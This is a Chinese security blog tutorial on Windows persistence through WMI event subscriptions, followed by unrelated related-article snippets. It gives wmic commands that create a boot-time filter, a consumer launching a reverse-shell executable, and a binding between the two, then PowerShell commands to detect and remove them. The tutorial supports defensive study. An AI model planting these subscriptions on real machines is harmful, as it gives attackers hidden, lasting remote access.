当前位置: 首页 > news >正文

内网权限维持——利用WMI进行权限维持

文章目录

  • 一、WMI事件订阅机制简介
  • 二、利用事件订阅进行权限维持
  • 三、防御方式

一、WMI事件订阅机制简介

WMI(Windows Management Instrumentation,Windows管理规范)是windows提供的一种能够直接与系统进行交互的机制,旨在为系统中运行的各程序界定一套独立于环境的标准,允许系统中允许的程序相互交流系统的程序管理信息。

WMI事件是Windows管理架构中的一部分,它可以监视应用程序的运行、响应系统和应用程序的事件。通过使用WMI事件,应用程序可以接收系统各类通知,并且在特定事件发生时采取相应的措施。例如,磁盘空间不足时可以通过WMI事件来发出警报等。WMI事件可以通过编写WMI查询或使用WMI事件订阅API来捕获。

WMI事件订阅是一种消息机制,用来监听事件类的触发。简单来书,设置一个监听磁盘空间不足的事件订阅,程序可以在磁盘不足的第一时间接收到WMI的告警。事件订阅中有很多类,这里主要关注以下类:

类名作用
EventFilter触发器
EventConsumer执行动作
FilterToConsumerBinding绑定过滤器和消费者类(负责捆绑EventFilter和EventConsumer)

二、利用事件订阅进行权限维持

1、WQL是一种类似SQL的查询语句,是WMI提供的一种用于WMI查询或WMI事件订阅的语句。在命令行中输入wbemtest,打开Windows Management Instrumentation测试器来通过WQL语句查询系统信息。

wbemtest

在这里插入图片描述
打开后进入一个命名空间,点击“连接”——“查询”。
在这里插入图片描述
在这里插入图片描述
使用WQL查询当前系统中所有进程的PID。

select * from Win32_Process

在这里插入图片描述
此外,还有其他查询语句。

# 获取主机名
select * from Win32_ComputerSystem
# 获取BOIS信息
select * from Win32_BOIS
# 获取键盘信息
select * from Win32_Keyboard
# 获取服务列表
select * from Win32_Service
# 获取磁盘列表
select * from Win32_LogicalDisk
# 获取光驱信息
select * from Win32_CDROMDriver

2、利用WMI通知查询的方式来监听windows打印机任务,选择“通知查询”。并使用如下WQL语句:

select * from __InstanceCreationEvent within 0.001 where TargetInstance ISA "Win32_PrintJob"
# __InstanceCreateEvent:代表windows事件类
# within 0.001:代表轮询时间,轮询时间为0.001s,可以理解为每毫秒查询一次该事件
# TargetInstance:实例名称
# ISA:等于
# Win32_PrintJob:打印机名称

3、我们可以将通知查询和执行动作进行捆绑,捆绑之后,系统触发某项查询规则时会立即执行对应动作。首先创建一个触发器,代码如下:

# 在系统初始化之后的第60秒将会进行通知
wmic /namespace:"\\root\subscription" PATH __EventFilter create Name="Testone",EventNameSpace="root\cimv2",Querylanguage="WQL",Query="select * from __InstanceModificationEvent within 60 where TargetInstance ISA "Win32_PerfFormattedData_PerfOS_SYSTEM""
# __EventFilter:触发器
# Testone:触发器名称
# 触发的通知条件由Query决定
# Win32_PerfFormattedData_PerfOS_SYSTEM:windows系统初始化

在这里插入图片描述4、创建好触发器后,需要绑定一个对应的执行动作,也就是触发器在查询到想要的内容后就会触发绑定的执行动作。执行动作需要将命名空间指定为触发器所设置的命名空间,创建执行动作可以使用EventConsumer来完成。当然,需要生成反弹shell,设置监听器哈!

# 当Testone时间被触发后,C:\tmp\reverse_shell.exe将会被执行
wmic /namespace:"\\root\subscription" PATH CommandLineEventConsumer create Name="Testone",ExecutablePath="C:\tmp\reverse_shell.exe",CommandLineTemplate="C:\tmp\reverse_shell.exe"

在这里插入图片描述
5、使用FilterToConsumerBinding来绑定刚刚所创建的触发器和执行动作。

# 绑定触发器和执行动作
wmic /namespace:"\\root\subscription" PATH __FilterToConsumerBinding create Filter="__EventFilter.Name=\"Testone\"",Consumer="CommandLineEventConsumer.Name=\"Testone\""

在这里插入图片描述
6、重启计算,在系统进行初始化工作(重启/重新登录)的第60秒,获取反弹shell。
在这里插入图片描述

三、防御方式

# 查询系统所有命名空间
Get-WmiObject -Namespace root -List -Recurse | Select -Unique __NAMESPACE
# 查询root\subscription命名空间中是否存在执行恶意命令的触发器
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath

在这里插入图片描述

# 列出事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

在这里插入图片描述

# 列出事件消费者
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

在这里插入图片描述

# 列出事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

在这里插入图片描述

# 删除事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='Testone'" | Remove-WmiObject -Verbose

在这里插入图片描述

# 删除事件消费者
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='Testone'" | Remove-WmiObject -Verbose

在这里插入图片描述

# 删除事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%Testone%'" | Remove-WmiObject -Verbose

在这里插入图片描述

# 查询root\subscription命名空间中是否存在执行恶意命令的触发器
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath

在这里插入图片描述
至此,系统初始化后的第60s,不会运行反弹shell脚本。

相关文章:

内网权限维持——利用WMI进行权限维持

文章目录 一、WMI事件订阅机制简介二、利用事件订阅进行权限维持三、防御方式 一、WMI事件订阅机制简介 WMI(Windows Management Instrumentation,Windows管理规范)是windows提供的一种能够直接与系统进行交互的机制,旨在为系统中…...

【数据结构算法经典题目刨析(c语言)】括号匹配问题(图文详解)

💓 博客主页:C-SDN花园GGbond ⏩ 文章专栏:数据结构经典题目刨析(c语言) 目录 一、题目描述 二、解题思路 三、代码实现 一、题目描述 二、解题思路 问题要求将三种类型括号匹配,其中包括顺序匹配和数量匹配 使用栈的后进先…...

浅谈 Spring AOP框架 (1)

文章目录 一、什么是 Spring AOP二、为什么要使用 Spring AOP三、AOP 的一些应用场景四、AOP 的组成五、如何使用 Spring AOP六、Spring AOP 的实现原理6.1、JDK 和 CGLIB 的区别 一、什么是 Spring AOP AOP (Aspect Oriented Programming) :面向切面编程&#xff…...

Linux 面试准备 - 2024

复习一下,资料来自慕课网课程 Linux 速成班和一些网上面试资料。 1. Linux 内核功能 1. 内存管理 2. 进程管理 3. 设备驱动程序 4. 系统调用和安全防护 2. 文件系统 - 一切皆文件 2.1 文件目录 /根目录etc配置文件bin必要命令usr 二级目录(非用户…...

C++笔记---类和对象(中)

1. 类的默认成员函数 默认成员函数就是用户没有显式实现,编译器会自动生成的成员函数称为默认成员函数。 一个类,我们不写的情况下编译器会默认生成以下6个默认成员函数,分别为:构造函数,析构函数,拷贝构…...

【C++】入门基础知识

河流之所以能够到达目的地,是因为它懂得怎样避开障碍。💓💓💓 目录 ✨说在前面 🍋知识点一:C的发展历史 • 🌰1.C发展历史 • 🌰2.C的迭代与更新 • 🌰3.编程语言排…...

AI的应用场景和未来展望

AI(人工智能)的应用场景广泛且多样,已经深入到我们生活的方方面面,成为现代社会不可或缺的一部分。 AI的应用场景 1、通用软件与工具型应用 办公软件:如钉钉、飞书等,通过AI技术提供内容生成与摘要、智能…...

vim、sublime、notepad文本编辑器的使用

VIM: Windows上配置gvim并作为C和C的IDE Windows上配置gvim并作为C和C的IDE | Reasuon sublime notepad...

PyCharm中的外部更改识别:终极解决方案指南

标题:PyCharm中的外部更改识别:终极解决方案指南 引言 PyCharm,作为JetBrains公司开发的集成开发环境(IDE),以其强大的功能和高效的代码编辑体验而广受开发者喜爱。然而,在开发过程中&#xf…...

Qt——QTCreater ui界面如何统一设置字体

第一步:来到 ui 设计界面,鼠标右键点击 改变样式表 第二步:选择添加字体 第三步:选择字体样式和大小,点击 ok 第四步:点击ok或apply,完成设置...

Linux驱动入门实验班day03-GPIO子系统概述

3.通用框架1——最简单方式1:执行命令cat /sys/kernel/debug/gpio查看串口信息 gpio4对应的下列 方式2: 对于按键GPIO4_14:对应第四组第14个引脚 gpiochip3 ,从96开始, 9614110;...

240803-沉侵式翻译插件配置Ollama的API实现网页及PDF文档的翻译

1. 在插件中点击Options按钮 2. 在开发者模式中启动Enable Beta Testing Features 3 在General中进行设置 ## 4. 在Expand中设置API的URL 5. Qwen:0.5B网页翻译效果 6. Qwen:0.5BPDF翻译效果 7. 参考文献 gemma - 给沉浸式翻译插件配置本地大模型o…...

HTML-08.表单标签

一.表单标签 场景&#xff1a;在网页中主要负责数据采集功能&#xff0c;如注册、登录等数据采集 标签&#xff1a;<form> 表单项&#xff1a;不同类型的input元素、下拉列表、文本域等 <input>:定义表单项。通过type属性控制输入形式 <select>:定义下拉列表…...

SAP ABAP se16n 双击跳转实现

参考老白 SAP小技巧 改造SE16N(九 双击跳转及字段描述优化) (qq.com) se16n 双击跳转实现 我的实现 se38 lse16nlcl 287行 call method cl_gui_control>set_focusexporting control alv_grid. *.....at the moment do detail view on double clickCALL METHOD cl_gu…...

Linux shell编程学习笔记68: curl 命令行网络数据传输工具 选项数量雷人(上)

0 前言 在网络时代&#xff0c;有经常需要在网络上传输数据&#xff0c;时我们需要通过网络下载文件&#xff0c;为了满足这种时代需要&#xff0c;Linux提供了众多网络命令&#xff0c;我们今天先研究curl命令。例如&#xff0c;我们可以使用 curl 从 URL 下载文件&#xff0…...

马尔科夫决策过程

马尔科夫决策过程 贝尔曼方程 贝尔曼方程&#xff08;Bellman Equation&#xff09;是动态规划中的一个核心概念&#xff0c;用于解决最优决策问题。贝尔曼方程通过递归的方式&#xff0c;将问题分解为子问题&#xff0c;从而使得最优策略的求解变得可行。贝尔曼方程广泛应用…...

未知攻焉知防:从攻击者视角看网络安全的“攻守之道”

自首届网络安全攻防实战演练开展以来&#xff0c;这一活动已成为网络安全领域备受关注的大事件。今年&#xff0c;攻防实战演练更上升到了一个全新高度&#xff0c;包括行动任务数量、演练周期时长、攻击强度以及演练类别等&#xff0c;较以往都有极大提升&#xff0c;堪称“史…...

数字孪生赋能智慧城市大脑智建设方案(可编辑65页PPT)

引言&#xff1a;随着科技的飞速发展&#xff0c;智慧城市的建设已成为全球城市发展的新趋势。数字孪生技术作为其中的关键技术之一&#xff0c;正逐步赋能智慧城市大脑的建设&#xff0c;推动城市治理从数字化向智能化、智慧化转型升级。本方案旨在简要介绍数字孪生赋能智慧城…...

c++----内存管理

okk&#xff0c;大家好。我们大家学习了鄙人的前面前面几篇博客&#xff0c;并且还稍微使用了一些c的基础知识。并且我们前面都说过&#xff0c;我们前面学习的知识都说过。我们前面的几篇博客都是我们以后使用c基础。但是我们大家都知道现在代码都关注什么时间啊&#xff0c;内…...

C++——哈希结构

1.unordered系列关联式容器 本节主要介绍unordered_map和unordered_set两个容器&#xff0c;底层使用哈希实现的 unordered_map 1.unordered_map是储存<key,value>键值对的关联式容器&#xff0c;其允许通过key快速查找到对应的value&#xff0c;和map非常相似&#x…...

谷歌浏览器插件

项目中有时候会用到插件 sync-cookie-extension1.0.0&#xff1a;开发环境同步测试 cookie 至 localhost&#xff0c;便于本地请求服务携带 cookie 参考地址&#xff1a;https://juejin.cn/post/7139354571712757767 里面有源码下载下来&#xff0c;加在到扩展即可使用FeHelp…...

Android Wi-Fi 连接失败日志分析

1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分&#xff1a; 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析&#xff1a; CTR…...

可靠性+灵活性:电力载波技术在楼宇自控中的核心价值

可靠性灵活性&#xff1a;电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中&#xff0c;电力载波技术&#xff08;PLC&#xff09;凭借其独特的优势&#xff0c;正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据&#xff0c;无需额外布…...

pam_env.so模块配置解析

在PAM&#xff08;Pluggable Authentication Modules&#xff09;配置中&#xff0c; /etc/pam.d/su 文件相关配置含义如下&#xff1a; 配置解析 auth required pam_env.so1. 字段分解 字段值说明模块类型auth认证类模块&#xff0c;负责验证用户身份&am…...

2.Vue编写一个app

1.src中重要的组成 1.1main.ts // 引入createApp用于创建应用 import { createApp } from "vue"; // 引用App根组件 import App from ./App.vue;createApp(App).mount(#app)1.2 App.vue 其中要写三种标签 <template> <!--html--> </template>…...

STM32标准库-DMA直接存储器存取

文章目录 一、DMA1.1简介1.2存储器映像1.3DMA框图1.4DMA基本结构1.5DMA请求1.6数据宽度与对齐1.7数据转运DMA1.8ADC扫描模式DMA 二、数据转运DMA2.1接线图2.2代码2.3相关API 一、DMA 1.1简介 DMA&#xff08;Direct Memory Access&#xff09;直接存储器存取 DMA可以提供外设…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序

一、开发环境准备 ​​工具安装​​&#xff1a; 下载安装DevEco Studio 4.0&#xff08;支持HarmonyOS 5&#xff09;配置HarmonyOS SDK 5.0确保Node.js版本≥14 ​​项目初始化​​&#xff1a; ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...

Module Federation 和 Native Federation 的比较

前言 Module Federation 是 Webpack 5 引入的微前端架构方案&#xff0c;允许不同独立构建的应用在运行时动态共享模块。 Native Federation 是 Angular 官方基于 Module Federation 理念实现的专为 Angular 优化的微前端方案。 概念解析 Module Federation (模块联邦) Modul…...

k8s业务程序联调工具-KtConnect

概述 原理 工具作用是建立了一个从本地到集群的单向VPN&#xff0c;根据VPN原理&#xff0c;打通两个内网必然需要借助一个公共中继节点&#xff0c;ktconnect工具巧妙的利用k8s原生的portforward能力&#xff0c;简化了建立连接的过程&#xff0c;apiserver间接起到了中继节…...

tree 树组件大数据卡顿问题优化

问题背景 项目中有用到树组件用来做文件目录&#xff0c;但是由于这个树组件的节点越来越多&#xff0c;导致页面在滚动这个树组件的时候浏览器就很容易卡死。这种问题基本上都是因为dom节点太多&#xff0c;导致的浏览器卡顿&#xff0c;这里很明显就需要用到虚拟列表的技术&…...